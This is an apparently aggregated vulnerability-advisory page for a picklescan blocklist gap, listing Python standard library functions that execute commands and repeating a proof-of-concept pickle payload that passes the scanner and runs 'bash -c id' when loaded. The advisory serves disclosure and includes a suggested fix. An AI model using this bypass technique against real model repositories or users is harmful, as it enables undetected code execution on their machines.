Vulnerability-Lookup

PYSEC-2026-4134

Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10

Details

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

Module	Function	RCE Mechanism	picklescan Result
`uuid`	`_get_command_stdout(cmd, *args)`	`subprocess.Popen((cmd,) + args)`	CLEAN
`_osx_support`	`_read_output(cmdstring)`	`os.system()` via temp file	CLEAN
`_osx_support`	`_find_build_tool(toolname)`	Command injection via `%s`	CLEAN
`_aix_support`	`_read_cmd_output(cmdstring)`	`os.system()`	CLEAN
`_pyrepl.pager`	`pipe_pager(text, cmd)`	`subprocess.Popen(cmd, shell=True)`	CLEAN
`_pyrepl.pager`	`tempfile_pager(text, cmd)`	`os.system(cmd + ...)`	CLEAN
`imaplib`	`IMAP4_stream(command)`	`subprocess.Popen(command, shell=True)`	CLEAN
`test.support.script_helper`	`assert_python_ok(*args)`	Spawns `python` subprocess	CLEAN

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

uuid — not blocked
_osx_support — not blocked
_aix_support — not blocked
_pyrepl — not blocked
_pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
imaplib — not blocked
test — not blocked
test.support — not blocked
test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

HuggingFace Hub — uses picklescan server-side to scan uploaded model files
ML pipelines — any CI/CD or loading pipeline using picklescan
Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)

Resources

picklescan source: scanner.py lines 120-219 (_unsafe_globals)
Python source: Lib/uuid.py, Lib/_osx_support.py, Lib/_aix_support.py, Lib/_pyrepl/pager.py, Lib/imaplib.py

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
picklescan	pkg:pypi/picklescan

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan",
        "purl": "pkg:pypi/picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56315",
    "GHSA-g38g-8gr9-h9xp"
  ],
  "details": "## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) \u2014 Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python\u0027s standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open(\u0027uuid_rce.pkl\u0027,\u0027rb\u0027).read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3\u0027s `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` \u2014 not blocked\n- `_osx_support` \u2014 not blocked\n- `_aix_support` \u2014 not blocked\n- `_pyrepl` \u2014 not blocked\n- `_pyrepl.pager` \u2014 not blocked (parent wildcard doesn\u0027t apply since `_pyrepl` isn\u0027t blocked)\n- `imaplib` \u2014 not blocked\n- `test` \u2014 not blocked\n- `test.support` \u2014 not blocked\n- `test.support.script_helper` \u2014 not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# uuid._get_command_stdout \u2014 arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) \u2014 latest release\n- picklescan v0.0.21 \u2014 same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** \u2014 uses picklescan server-side to scan uploaded model files\n- **ML pipelines** \u2014 any CI/CD or loading pipeline using picklescan\n- **Model registries** \u2014 any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed \u2014 new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`",
  "id": "PYSEC-2026-4134",
  "modified": "2026-10-01T17:10:37.343133Z",
  "published": "2026-10-01T16:38:26.052080Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/bf26452ae2e3204429762c2bb1aa9eacd40436bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-standard-library-modules"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/picklescan"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g38g-8gr9-h9xp"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan has multiple stdlib modules with direct RCE not in blocklist"
}

CVE-2026-56315 (GCVE-0-2026-56315)

Vulnerability from cvelistv5 – Published: 2026-06-23 12:13 – Updated: 2026-06-23 13:16

Title

picklescan - Remote Code Execution via Unblocked Standard Library Modules

Summary

picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.

Severity

9.3 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-23 13:16 UTC

CWE

CWE-184 - Incomplete List of Disallowed Inputs

Assigner

VulnCheck mitre root Scorecard

References

2 references

URL	Tags
https://github.com/mmaitre314/picklescan/security…	vendor-advisory
https://www.vulncheck.com/advisories/picklescan-r…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
picklescan	picklescan	Affected: 0 , < 1.0.4 (semver) Unaffected: 1.0.4 (semver) cpe:2.3:a:mmaitre314:picklescan::::::::

Date Public

2026-03-02 00:00

Credits

yash2998chhabria

Show details on NVD website

JSON

To clipboard

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                "role": "CISA Coordinator",
                "timestamp": "2026-06-23T13:16:44.710246Z",
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GHSA-G38G-8GR9-H9XP

Vulnerability from github – Published: 2026-03-03 20:05 – Updated: 2026-09-25 13:33

Summary

PickleScan has multiple stdlib modules with direct RCE not in blocklist

Details

Summary

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

Module	Function	RCE Mechanism	picklescan Result
`uuid`	`_get_command_stdout(cmd, *args)`	`subprocess.Popen((cmd,) + args)`	CLEAN
`_osx_support`	`_read_output(cmdstring)`	`os.system()` via temp file	CLEAN
`_osx_support`	`_find_build_tool(toolname)`	Command injection via `%s`	CLEAN
`_aix_support`	`_read_cmd_output(cmdstring)`	`os.system()`	CLEAN
`_pyrepl.pager`	`pipe_pager(text, cmd)`	`subprocess.Popen(cmd, shell=True)`	CLEAN
`_pyrepl.pager`	`tempfile_pager(text, cmd)`	`os.system(cmd + ...)`	CLEAN
`imaplib`	`IMAP4_stream(command)`	`subprocess.Popen(command, shell=True)`	CLEAN
`test.support.script_helper`	`assert_python_ok(*args)`	Spawns `python` subprocess	CLEAN

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

uuid — not blocked
_osx_support — not blocked
_aix_support — not blocked
_pyrepl — not blocked
_pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
imaplib — not blocked
test — not blocked
test.support — not blocked
test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

HuggingFace Hub — uses picklescan server-side to scan uploaded model files
ML pipelines — any CI/CD or loading pipeline using picklescan
Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Resources

picklescan source: scanner.py lines 120-219 (_unsafe_globals)
Python source: Lib/uuid.py, Lib/_osx_support.py, Lib/_aix_support.py, Lib/_pyrepl/pager.py, Lib/imaplib.py

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:05:26Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) \u2014 Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python\u0027s standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open(\u0027uuid_rce.pkl\u0027,\u0027rb\u0027).read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3\u0027s `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` \u2014 not blocked\n- `_osx_support` \u2014 not blocked\n- `_aix_support` \u2014 not blocked\n- `_pyrepl` \u2014 not blocked\n- `_pyrepl.pager` \u2014 not blocked (parent wildcard doesn\u0027t apply since `_pyrepl` isn\u0027t blocked)\n- `imaplib` \u2014 not blocked\n- `test` \u2014 not blocked\n- `test.support` \u2014 not blocked\n- `test.support.script_helper` \u2014 not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# uuid._get_command_stdout \u2014 arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) \u2014 latest release\n- picklescan v0.0.21 \u2014 same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** \u2014 uses picklescan server-side to scan uploaded model files\n- **ML pipelines** \u2014 any CI/CD or loading pipeline using picklescan\n- **Model registries** \u2014 any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed \u2014 new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`",
  "id": "GHSA-g38g-8gr9-h9xp",
  "modified": "2026-09-25T13:33:56Z",
  "published": "2026-03-03T20:05:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/bf26452ae2e3204429762c2bb1aa9eacd40436bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-standard-library-modules"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan has multiple stdlib modules with direct RCE not in blocklist"
}

Sightings

Author	Source	Type	Date	Other

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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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PYSEC-2026-4134

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CVE-2026-56315 (GCVE-0-2026-56315)

GHSA-G38G-8GR9-H9XP

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